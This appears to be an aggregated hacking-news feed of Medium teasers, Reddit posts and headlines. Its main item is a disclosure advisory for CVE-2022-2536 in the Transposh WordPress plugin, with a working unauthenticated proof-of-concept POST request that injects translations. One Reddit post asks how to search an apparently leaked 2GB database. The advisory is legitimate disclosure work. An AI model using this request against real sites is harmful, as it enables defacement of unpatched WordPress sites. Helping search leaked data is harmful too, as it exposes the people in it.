The 160 Hours Bug Bounty Hunting Challenge — Bug Hacking

Bug bounty is one of the hot topics nowadays. If you are actively following cybersecurity people on social networks (especially Twitter)…Continue reading on Medium »
Read more...

The 160 Hours Bug Bounty Hunting Challenge — Bug Hacking
https://medium.com/@giedrius.saulenas/the-160-hours-bug-bounty-hunting-challenge-bug-hacking-48c2550461b7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bug bounty is one of the hot topics nowadays. If you are actively following cybersecurity people on social networks (especially Twitter)…Continue reading on Medium » (https://medium.com/@giedrius.saulenas/the-160-hours-bug-bounty-hunting-challenge-bug-hacking-48c2550461b7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/f1kS0brkCaecjrAsyLvsq1K0cQ53Q6gsb9bs0aLAHGE.jpg I downloaded database, and in folder there are those files:

​

https://preview.redd.it/bak8csa04oi91.png?width=465&format=png&auto=webp&s=9ecbf8fbdff7db416b043af69fd05ed0c4a62fcb

When I open index.html there is input field where I insert email. After clicking on search button, it ask me where to save file. But saved file have same content as 1.php file

​

https://preview.redd.it/i8jsavcj4oi91.png?width=646&format=png&auto=webp&s=b56544a076f16386f620efc494b8fd6349a9033c

So I don't know how I am supposed to search through database which is this db.txt file (approximately 2GBs)

submitted by /u/wannacry011
[link] [comments]

hacking: security in practice
The Cyberclopaedia now has a module on WiFi hacking!

https://external-preview.redd.it/s2n6_ZBytWcdr63uSQrBe_W8VtllUTDRxBtW968LMCk.jpg?width=640&crop=smart&auto=webp&s=c932c8660e4f919fb4682e12df6cfad46984bc43 submitted by /u/cr0mll
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mock Server for any Domain on Local Machine

Hello,

As part of a determination of why a certain flash game will not run on the local machine alone, I'm trying to find a method to mock a server containing files that are hosted on the local machine.

I need to do this because the site in question, boyslife.org, has removed the Flash games from their site, but I have saved a copy of some of them for archival purposes.

At least one (the one I was most hopeful to save, "Pedro Kicks Back") has sitelock. However, if the game is launched from the local machine only, the programmed sitelock doesn't even display.

I need to mock a server connection to boyslife.organd then any other site to see if there are other components or if it just behaves differently between all following conditions:

* Played on correct site
* Played on local machine
* Played on foreign site

The important thing is that I can access the "server" from another application (Adobe Flash Player Projector) without it knowing that the server is not real; it has to be transparent, the URL needs to have no indication of mockery.

One more thing that might help - I think BlueMaxima's Flashpoint does some form of this already, because this sort of thing happens when I play that game in Flashpoint. The Flash Projector opens, and if you inspect the URL of the opened file, it says that it is on boyslife.org, even though it is actually on the local machine, no network connection at all.

Any help is much appreciated!

submitted by /u/engelthehyp
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Transposh WordPress Translation versions 1.0.8.1 and below suffer from an incorrect authorization vulnerability.

SHA-256 | cf075b58a8a1c31fce95fca535703432ed02017dc8456967462b1e93044c2dcc

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Incorrect Authorization [CWE-863]
Date found: 2022-07-23
Date published: 2022-08-16
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2022-2536
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
header("HTTP/1.0 401 Unauthorized translation");
exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.
6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation
7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I hacked my University Servers

Fri Aug 5 around 1:00 a.m. was surfing the internet and like every other day i logged on my uni portal to check my attendance and if any…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
This is Why DEF CON is Worth Attending

https://cdn-images-1.medium.com/max/1024/1*jnKaUju7BKX0wO5afMRS8g.png
Review from a first-time attender of DEF CON (30).

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solving Hack The Box — Tier 2 — ARCHETYPE

Solving HTB — Starting Point — Tier 2— ARCHETYPE

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DoNot Team Hackers actualizó su kit de herramientas de malware con capacidades mejoradas

https://cdn-images-1.medium.com/max/1833/0*Bdir4olK3M2sHH3h
El actor de amenazas Donot Team ha actualizado su kit de herramientas de malware Jaca Windows con capacidades mejoradas, incluido un…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
BlackByte Ransomware Gang Returns With Twitter Presence, Tiered Pricing

Version 2.0 of the ransomware group's operation borrows extortion tactics from the LockBit 3.0 group.